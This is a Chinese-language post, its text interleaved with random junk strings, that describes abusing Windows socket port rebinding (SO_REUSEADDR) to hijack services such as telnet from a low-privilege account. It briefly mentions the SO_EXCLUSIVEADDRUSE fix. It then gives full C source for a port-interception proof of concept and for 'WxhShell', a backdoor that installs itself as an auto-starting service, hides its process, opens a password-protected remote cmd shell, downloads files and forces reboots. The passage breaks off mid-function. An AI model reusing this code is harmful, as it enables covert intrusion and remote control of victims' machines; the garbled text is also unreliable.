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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n]$vCP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j qdI=!H C`jP8"- saddr.sin_family = AF_INET; n7MS{` Asn0&Ys4 saddr.sin_addr.s_addr = htonl(INADDR_ANY); DS$ _"'g%i Fhsmpe~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "yz\p, 4KM$QHS5{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iP!Y4F 4vX]c 这意味着什么?意味着可以进行如下的攻击: 9Y 4N kK1qFe?] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {&<}*4D k0YsAa#6V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~o%-\^oc O)5PUyC:H 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3w9
]@kU M|v.5l# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 =3zn
Ta } @NHRuk+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &=?`;K m+m6"yE#_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "aBd0i& z67=v9+7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fhY[I0;}$ 3H%HJS #include ,|4Ye #include wU ; f #include Xou#38&p> #include &Bp\kv DWORD WINAPI ClientThread(LPVOID lpParam); |ber:1 int main() ZKR z=( { (k5DbP[ WORD wVersionRequested; -+9x 0-P DWORD ret; wrO>#`Z WSADATA wsaData; vW{cBy BOOL val; i]53A0l SOCKADDR_IN saddr; _$'Mx'IC= SOCKADDR_IN scaddr; ^kl9U+ int err; cyhD%sB[D9 SOCKET s; >b["T+ SOCKET sc; O9|'8"AF
int caddsize; epR~Rlw>2 HANDLE mt; AslH
V@K DWORD tid; L@z !,r, wVersionRequested = MAKEWORD( 2, 2 ); r;XQ i err = WSAStartup( wVersionRequested, &wsaData ); Uo @NK if ( err != 0 ) { E?XCL8NC printf("error!WSAStartup failed!\n"); bF KPV%` return -1; jccW8g~
~ } +_gT|vlU saddr.sin_family = AF_INET; nP3GI:mjL L,
{rMLM% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |%}s$*s 2*citB{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X?6h>%) k saddr.sin_port = htons(23); VU/W~gb4"A if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IPO[J^#Me { O8r"M8 printf("error!socket failed!\n"); ^)q2\YE; return -1; hf<$vRti> } UPKi/)C; val = TRUE; 7rSUSra //SO_REUSEADDR选项就是可以实现端口重绑定的 ^@Qi&g`lr? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lk +K+Ra/ { DVhTb printf("error!setsockopt failed!\n"); 1qC:3
;P return -1; mbBRuPEa=u } R1.sq(z` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @ >(u:. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5b#6 Y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *|HZ&} j/9QV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =4e=wAO(i { p{a]pG+3 ret=GetLastError(); Ys$YI{ printf("error!bind failed!\n"); DLYZsWA, return -1; nr>{ uTa } cU*lB! listen(s,2); H\I!J@6g while(1) <8)s { %?f:" caddsize = sizeof(scaddr); $a^isd4 //接受连接请求 ,Us2UEWNv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {TncqA if(sc!=INVALID_SOCKET) c,q"}nE8w { 0sd-s~; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +V9B if(mt==NULL) ^
6.lb\ { *kQCW#y0 printf("Thread Creat Failed!\n"); ~B!O~nvdQ break; z9 w&uZzi } ~u0xXfv# } A,gx5!J CloseHandle(mt); }{8Fo4/ } HB7( closesocket(s); D4q>R; WSACleanup(); YvruK:I return 0; `OP>(bU0 } d>, V DWORD WINAPI ClientThread(LPVOID lpParam) lmQ 6X { #jZ@l3 SOCKET ss = (SOCKET)lpParam; {KDgK SOCKET sc; KO|pJ3 unsigned char buf[4096]; "W@XP+POAY SOCKADDR_IN saddr; 0i\',h}9 long num; 8*yo7q& DWORD val; WE[m@K[CR DWORD ret; UQ3@@:L_ //如果是隐藏端口应用的话,可以在此处加一些判断 kwHqvO!G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 VkpHzr[k saddr.sin_family = AF_INET; b(RBG saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0[lsoYUq saddr.sin_port = htons(23);
gt_XAH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :wU_-{>>2 { *v
rWA printf("error!socket failed!\n"); !\0F.* return -1; fYhR#FVI } D#7_TKX val = 100; }t|Plz if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7%9)C[6NSs { l>~`;W ret = GetLastError(); RxZm/:yuJ. return -1; <jUrE[x } xP/OsaxN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sz/ *w 7 { #%^\\|'z ret = GetLastError(); HK0::6n{ return -1; vJRnBq+y } W7L+8LU; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4TUtY: { @H\pipT_b printf("error!socket connect failed!\n"); H#L#2M% closesocket(sc); ~XUOW Y75 closesocket(ss); uxOJ3 return -1; K 3Yw8t2J } $_C+4[R? while(1) URK!W?3c { L)F1NuR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'j,oIqx //如果是嗅探内容的话,可以再此处进行内容分析和记录 !:"-:O}>=, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SY,I>-% num = recv(ss,buf,4096,0); a}KK{Vqo` if(num>0) `l/:NF send(sc,buf,num,0); xQJIM. else if(num==0) 8/3u/ break; dL_QX,X-] num = recv(sc,buf,4096,0); S
Pn8\2Cj if(num>0) =4tO0 send(ss,buf,num,0); F aFp_P? else if(num==0) ~uI**{ break; s=d+GMa } yGiP[d|tRc closesocket(ss); 5vTv$2@ closesocket(sc); (=1q!c`
return 0 ; AkrTfi4hC } ZXsYn 1")FWN_K/T p9-0?(] ========================================================== M8';%=@ G02ox5X 下边附上一个代码,,WXhSHELL !4R>O6k 74K)aA ========================================================== TbLe6x vv+D*e&< #include "stdafx.h" *hVb5CS BeK2;[5C #include <stdio.h> 6b?`:$Cw3) #include <string.h> <EMkD1e #include <windows.h> +z\\VD #include <winsock2.h> I>A^I #include <winsvc.h> ]gu1# #include <urlmon.h> Q|Pbt(44 n]+. #pragma comment (lib, "Ws2_32.lib") vwKw?Z0%J #pragma comment (lib, "urlmon.lib") [O2h-` +YTx
#define MAX_USER 100 // 最大客户端连接数 &Y1`?1;nw #define BUF_SOCK 200 // sock buffer uBmxh%]C~ #define KEY_BUFF 255 // 输入 buffer }A|))Ao| Wo{K} #define REBOOT 0 // 重启 0G5'Y;8 #define SHUTDOWN 1 // 关机 :pwa{P |;P^clS3 #define DEF_PORT 5000 // 监听端口 8xgJSk '61i2\[lZQ #define REG_LEN 16 // 注册表键长度 91up^ #define SVC_LEN 80 // NT服务名长度 x;u ~NKy &Yp+k}XU // 从dll定义API Xo Y7/&& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @,k7xm$u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s~^*+kq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :zlpfm2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ah-8"`E xf/m!b"p // wxhshell配置信息 Fn!SGX~kx$ struct WSCFG { Z,WubX< int ws_port; // 监听端口 7JI:=yY!>: char ws_passstr[REG_LEN]; // 口令 f=o4I2Y[ int ws_autoins; // 安装标记, 1=yes 0=no <Nex8fiJ9 char ws_regname[REG_LEN]; // 注册表键名 zmI5"K"'F char ws_svcname[REG_LEN]; // 服务名 "u;YI=+ char ws_svcdisp[SVC_LEN]; // 服务显示名 vM`7s[oAK char ws_svcdesc[SVC_LEN]; // 服务描述信息 JSgpb?( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =}v ;1m int ws_downexe; // 下载执行标记, 1=yes 0=no h*s`^W3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" @EHIp{0. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SK+@HnKd \~>e_; }; ExCM<$, WL l_'2h // default Wxhshell configuration T~X41d\ struct WSCFG wscfg={DEF_PORT, q#NR32byF "xuhuanlingzhe", aG!
*WHt 1, mc
ZGg;3 "Wxhshell", D{p5/#|r "Wxhshell", dQ9
ah "WxhShell Service", KCUU#t|8V\ "Wrsky Windows CmdShell Service", rB%y6P B "Please Input Your Password: ", |SQ|qbe= 1, )11W)G`w " http://www.wrsky.com/wxhshell.exe", QR"bYQ "Wxhshell.exe" 6NX3"i0eT }; _ h9o@ ',ZF5T5z@ // 消息定义模块 2n|CD|V$ux char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DyfsTx char *msg_ws_prompt="\n\r? for help\n\r#>"; o G_C?(7> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; F;u_7OM char *msg_ws_ext="\n\rExit."; O*G1 QX char *msg_ws_end="\n\rQuit."; l~J*' m2 char *msg_ws_boot="\n\rReboot..."; IU#x[P! char *msg_ws_poff="\n\rShutdown..."; 5ZK&fKeCF char *msg_ws_down="\n\rSave to "; d~@q%-`lA YT=eVg53 char *msg_ws_err="\n\rErr!"; & Kmy}q
char *msg_ws_ok="\n\rOK!"; yNa;\UF ffE#^| char ExeFile[MAX_PATH]; GK?4@<fY int nUser = 0; .9h)bf+ HANDLE handles[MAX_USER]; *Qkc[XHqy int OsIsNt; DM),|Nq" c?K~/bx. SERVICE_STATUS serviceStatus; 40#9]=;} SERVICE_STATUS_HANDLE hServiceStatusHandle; i#W*' 5HKW"=5Cf // 函数声明 ^.goO] int Install(void); Izo! rC int Uninstall(void); Zx{96G+1 int DownloadFile(char *sURL, SOCKET wsh); bik*ZC?E int Boot(int flag); K2rzhHfb void HideProc(void); SfB8!V|; int GetOsVer(void); 8W+5)m.tp int Wxhshell(SOCKET wsl); W7=V{}b+ void TalkWithClient(void *cs); p[v#EyoC int CmdShell(SOCKET sock); R7?29?$7 int StartFromService(void); mfom=-q3k int StartWxhshell(LPSTR lpCmdLine); j6g@tx^)' XOy2lJ/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &@v<nO- VOID WINAPI NTServiceHandler( DWORD fdwControl ); PJLR<9 ^6;V}2>v} // 数据结构和表定义 v]"L]/" SERVICE_TABLE_ENTRY DispatchTable[] = aeP[+ I9 { #=,imsW) {wscfg.ws_svcname, NTServiceMain}, 86qI {NULL, NULL} F{m{d?:OA }; 1S:|3W h7yqk4'Lq // 自我安装 iwF9[wAft int Install(void) a|_p,_ { h|;qG)f^ char svExeFile[MAX_PATH]; lr@#^ HKEY key; xJwG=$o strcpy(svExeFile,ExeFile); Pbu{'y3J aM=D84@ // 如果是win9x系统,修改注册表设为自启动 \3XqHf3|o if(!OsIsNt) { OJO!FH) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;_?MX/w|& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X/0v'N RegCloseKey(key); 1wj:aD?g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
aelO3'UN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?>
Dtw#} RegCloseKey(key); FnFb[I@eu return 0; (bp9Pj w } 2 QTZwx } b=;nm#cAI } -yAQ else { GW^,g@%C v-b0\_ // 如果是NT以上系统,安装为系统服务 UUe#{6Jx_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eU@Cr7@,| if (schSCManager!=0) iq$$+y, { ,m3e?j@;r SC_HANDLE schService = CreateService PmpNAVE' ( z+{,WHjo schSCManager, / |r' wscfg.ws_svcname, .="bzgC3A wscfg.ws_svcdisp, o{:xp r=( SERVICE_ALL_ACCESS, b*kfWG-6t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #-VMg+14 SERVICE_AUTO_START, hfWFD, SERVICE_ERROR_NORMAL, `>C<}xO svExeFile, 2x]>l?
5b NULL, `fNpY#QsN NULL, xw5d|20b NULL, X2sH E NULL, n/d`qS NULL "/Pjjb:2 ); =T?}Nt if (schService!=0) :M3oUE{ { thlY0XCq,% CloseServiceHandle(schService); ;|T!#@j CloseServiceHandle(schSCManager); N"tFP9;K strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BR`ygrfe strcat(svExeFile,wscfg.ws_svcname);
df}r% i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <W8t|jt RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4*n#yVb/ RegCloseKey(key); +n0r0:z0 return 0; p{A}pnjf } '@|_OmcY } 1$/MrPT(b CloseServiceHandle(schSCManager); &F
*'B|n } 82{ Vc } Q#I"_G&{ #p(h]T32 return 1; Fxs;Fp } ;ea]$9 z;f2*F // 自我卸载 8`>h}Q$ int Uninstall(void) 5zJj]A { ^FmU_Q0 HKEY key; >eQr<-8 ^|~mlY@w if(!OsIsNt) { 8H,4kY?Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]B"'}%>ez RegDeleteValue(key,wscfg.ws_regname); jdZ~z#`(!: RegCloseKey(key); !)"%),>}o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RcG0 8p.) RegDeleteValue(key,wscfg.ws_regname); -H^oXeN RegCloseKey(key); mYN7kYR}<` return 0; \J. .*,' } 9_s6l } :o-,SrORM } E:sz$\Ht) else { {N2g8W: "I?Am&>' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GcIDG`RX if (schSCManager!=0) \6n!3FLl { ZX!r1*c
6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $n^MD_1! if (schService!=0) @bM2{Rh: { &X@Bs- if(DeleteService(schService)!=0) { sIG7S"k>p CloseServiceHandle(schService); Y?CCD4"qn CloseServiceHandle(schSCManager); b5$JfjI return 0; [ylsz? } `e9$,h|4 CloseServiceHandle(schService); Q?ahr~qo } B[=(#W CloseServiceHandle(schSCManager); 4a0:2 kIKa } [${
QzO } MObt,[^W Nk=JBIsKv return 1; X'. qYsS } @2pu^k^ e0@6Pd // 从指定url下载文件 n55Pv3}C int DownloadFile(char *sURL, SOCKET wsh) v(*C%.M) { 9CA^B2u HRESULT hr; UDhG : char seps[]= "/"; =9oPowq char *token; I}e3zf> char *file; i|w8.}0 char myURL[MAX_PATH]; !CXt*/~ char myFILE[MAX_PATH]; ]2# bfB\h*XO strcpy(myURL,sURL); '1,,)U#6E token=strtok(myURL,seps); 5w %_$x while(token!=NULL) =U8a ?0 { {Q+gZcu file=token; swA+f token=strtok(NULL,seps); Hsih[f } QK0h6CX vS\%3A4^+5 GetCurrentDirectory(MAX_PATH,myFILE); TG}*5Z` strcat(myFILE, "\\"); 0TfS=scT strcat(myFILE, file); tz#gClo send(wsh,myFILE,strlen(myFILE),0); mRB send(wsh,"...",3,0); /9o!*K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o7mZzzP if(hr==S_OK) X;<BzA!H return 0; ,Y3W? else +!QJTn"3 return 1; ?)bS['^1) |mdi]TL } D9`0Dr}/2 kb[P\cRa // 系统电源模块 iA8U Yd3Q int Boot(int flag) 0sI1GhVR { y=In?QN{6* HANDLE hToken; QO"oEgB`+Z TOKEN_PRIVILEGES tkp; qB)"qFa
DI!V^M[~u if(OsIsNt) { Gpm{m:$L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q o<&J f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *x)Ozfe tkp.PrivilegeCount = 1; UzXE_S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &/Ro lIHF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2X:4CC%5 if(flag==REBOOT) { t){"Tfc: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -(O-% return 0; _qbIh } {Fzs@,|W. else { aM7uBx\8 5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RI68%ZoL return 0; sXd8rj:o } rr#K"SP } Vd=yr'? else { =6aS&B(SN if(flag==REBOOT) { spasB=E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A'G@uD@3 return 0; Cy*|&=>j } l>Ub!^; else { )lJao if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F)z;Z6{t4 return 0; ]xguBh ] } E*# ]** } ?$e9<lsQq) VUI|.76g return 1; tzy'G"P| } nFe%vu8a %,hV[[ @. // win9x进程隐藏模块
aR,}W\6M void HideProc(void) TYI7<-Mp:[ { }K8/-d6 wvrrMGU)a HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7\ nf:. if ( hKernel != NULL )
9CCkqB/ { *D'$"@w3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q~o,WZG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +za8=`2o FreeLibrary(hKernel); XQ4G) } Z}|(FRVk %*#n d return; : Sq?a0!S } 0%)i<a!_Z ~4?9a(>3 // 获取操作系统版本 V138d?Mm int GetOsVer(void) Z3!f^vAi& { bFA!=uvA OSVERSIONINFO winfo; e@{i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0oEOre3^% GetVersionEx(&winfo); z&V+#Ws/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #GJ
dZ return 1; E*?<KZe" else \6;=$f/?t return 0; 4mn&4e } ;Jd3u
- 6\61~u ~ // 客户端句柄模块 I|# 5NE6 int Wxhshell(SOCKET wsl) W+*5"h { *m2=/Sh SOCKET wsh; F#|:`$t struct sockaddr_in client; ,t)x{I;C) DWORD myID; U35AX9/ \;rYo.+ while(nUser<MAX_USER) lC=~$c: { ;(}V"i7Hu int nSize=sizeof(client); 5wUUx# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?8W("W if(wsh==INVALID_SOCKET) return 1; g#]wLm# @y31NH( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); waKT{5k if(handles[nUser]==0) "QvmqI> closesocket(wsh); QMEcQV> else (|wz7AY2 nUser++; R0oKbs{ } :{(w3<i WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $<ld3[l i f<A5?eKw return 0; .Vq)zi1< } ]tY
^0a Dde]I_f} // 关闭 socket r=c<--_@ void CloseIt(SOCKET wsh) N25V] { ;;A2!w{}[i closesocket(wsh); e L.(p
k^< nUser--; m[k_>e\u ExitThread(0); 85;b9k&\M } GJqE!I,. *6(kbe s // 客户端请求句柄 TNJG#8 n%Y void TalkWithClient(void *cs) MQKfJru7 { .5!t:FPOv gl).cIp w SOCKET wsh=(SOCKET)cs; Et_V,s<| char pwd[SVC_LEN]; 0| ;
.6\ char cmd[KEY_BUFF]; K!,<7[MBg char chr[1]; U?.9D int i,j; ^fz+41lE\ (@WA1oNG while (nUser < MAX_USER) { 7)%+=@ _j_x1.l if(wscfg.ws_passstr) { 2c?qV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zXsc1erli //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oq*N_mP0
//ZeroMemory(pwd,KEY_BUFF); UJs$q\#RO i=0; JMdPwI while(i<SVC_LEN) { r <
cVp^ 3Tq\BZ // 设置超时 ^9-&o fd_set FdRead; e6_ZjrQf struct timeval TimeOut; W[+|} FD_ZERO(&FdRead); V(Yxh+KU FD_SET(wsh,&FdRead); -l}IZY TimeOut.tv_sec=8; /k"`7`! TimeOut.tv_usec=0; &QNWL] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l1]p'Liuu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s}onsC `<[6YH_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z6py"J@ pwd =chr[0]; L,;D@Xi if(chr[0]==0xd || chr[0]==0xa) { N N|u _ pwd=0; yPw'] " break; Tlj:%yK2 } fm~kM
J i++; 7RDDdF E! } T;L>P[hNn hm<}p&!J // 如果是非法用户,关闭 socket <)*2LBF@] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XlI!{qj| } R}mn*h6 ^s.V;R send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #P#-xz send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n&MG7`]N Z!0]/ mCE8 while(1) { lcV<MDS ET];%~ ^ ZeroMemory(cmd,KEY_BUFF); &uUo3qXQ5l >yJ9U,Y // 自动支持客户端 telnet标准 dz>;<&2Z j=0; a}Sd W while(j<KEY_BUFF) { PA w-6; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,<DB&&EV8 cmd[j]=chr[0]; (z$r :p if(chr[0]==0xa || chr[0]==0xd) { ~ d^<_R cmd[j]=0; ;6
+}z~ break; .Wi{lt } 20rkKFk* j++; {G*A.$-d } q2:K4 Q
!qrNa6 // 下载文件 B^D(5 if(strstr(cmd,"http://")) { ^KB~*'DN~s send(wsh,msg_ws_down,strlen(msg_ws_down),0); P6,7]6bp if(DownloadFile(cmd,wsh)) j]0^y}5f+s send(wsh,msg_ws_err,strlen(msg_ws_err),0); -G,^1AL> else [Pe#kzLX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $(Ugtimdv } qNyzU@ else { /WPv\L ;O 0+, switch(cmd[0]) { 4lKVY< vILy>QS) // 帮助 x_|F|9 case '?': { H;aYiy send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r3rxC& break; drwgjLC+ } 3\;27&~gV // 安装 W(fr<<hL case 'i': { l8K5k:XCU3 if(Install()) 27ckdyQx send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}P$emr7 else KNgH|5Pb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0tk#Gs[ break; Z['\61 } fQ>4MKLw=d // 卸载 ]aCk_*U case 'r': { l!E7AKk8 if(Uninstall()) .ut{,(5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<%])
else TST4Vy3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (eCFWmO break; ECa$vvK
m } 9s
+z B // 显示 wxhshell 所在路径 hgRVwX case 'p': { {J/I-=CmML char svExeFile[MAX_PATH]; vFrt|JC_{ strcpy(svExeFile,"\n\r"); acd:r%y strcat(svExeFile,ExeFile); H(0q6~| send(wsh,svExeFile,strlen(svExeFile),0); Q
'(ihUq*k break; +&KQ28r } bshGS8O // 重启 weMww,: ^[ case 'b': { HEqWoV]{d send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K7I&sS^x if(Boot(REBOOT)) 04!(okubyp send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:=5"ScV else { O$`UCq closesocket(wsh); x}$e}8|8YL ExitThread(0); \F, DA"K_ } }W)=@t break; Q Z8QQ`*S } 6)]f6p&e // 关机 gJ2
H=#M case 'd': {
(kTXP_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h!&sNzX if(Boot(SHUTDOWN)) PU9`<3z5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); R4%P:qM else { T)7TyE|"2g closesocket(wsh); z1 i &Ge ExitThread(0); (B>Zaro# } F)$K break; wN37zPnV~ } 5TBI<K // 获取shell WKA'=,`v case 's': { D 7shiv|, CmdShell(wsh); J3S&3+2G closesocket(wsh); r0m)j ExitThread(0); 5CJZw3q break; p@&R0>6j } 2>S~I"o0 // 退出 ?3sT"r_d@ case 'x': { MWuXI1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y ?]G}5 CloseIt(wsh); dw@E) break; xFp<7p
L } +-068k( // 离开 ;~HNpu$ case 'q': { 1H:ea7YVU send(wsh,msg_ws_end,strlen(msg_ws_end),0); oL/o*^ closesocket(wsh); (U.**9b; WSACleanup(); Tc
ZnmN exit(1); w'Z!;4E0 break; 7x.%hRk } ^>~dlS } !^U6Z@&/R } {j(4m X7aXxPCq1 // 提示信息 6(56,i<#/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OsW"CF2 } TW`mxj_J2 } g jG2 mp`PE= return; O{KB0"s>i } D#sf i,O ~] =?b)B // shell模块句柄 ((3t: int CmdShell(SOCKET sock) t\5c@j p { ~
}KzJiL STARTUPINFO si; {ctwo X[; ZeroMemory(&si,sizeof(si)); .+#Lx;}) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F 1|zXg) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {KaN,td9 PROCESS_INFORMATION ProcessInfo; d
O
A%F$Mk char cmdline[]="cmd"; _[E \= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xi {| return 0; }F{=#Kqn^ } &>}.RX]t ;cSGlE | // 自身启动模式 MUof=EJg>u int StartFromService(void) +}!DP~y+ { ZW ye>] typedef struct 2o{@nN8% { %= u/3b:o DWORD ExitStatus; Rlg#z4m DWORD PebBaseAddress; j)D-BK&+ DWORD AffinityMask; 4e%8D`/=M DWORD BasePriority; ^E@@YV ULONG UniqueProcessId; oW'POAr ULONG InheritedFromUniqueProcessId; {*=E?oF@ } PROCESS_BASIC_INFORMATION; , p0KLU\- EnscDtf( PROCNTQSIP NtQueryInformationProcess; <*@~n- R$ _%IqjJO{=r static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rnvQ<671W static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NXgRNca n85r^W HANDLE hProcess; RebTg1vGu PROCESS_BASIC_INFORMATION pbi; N^$9;CKP= !P|5#.eC HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IhW7^(p\ if(NULL == hInst ) return 0; L~MpY{!3 Y$8; Gm<) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N~g%wf@w g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R`He^ NtQueryInformationProcess = 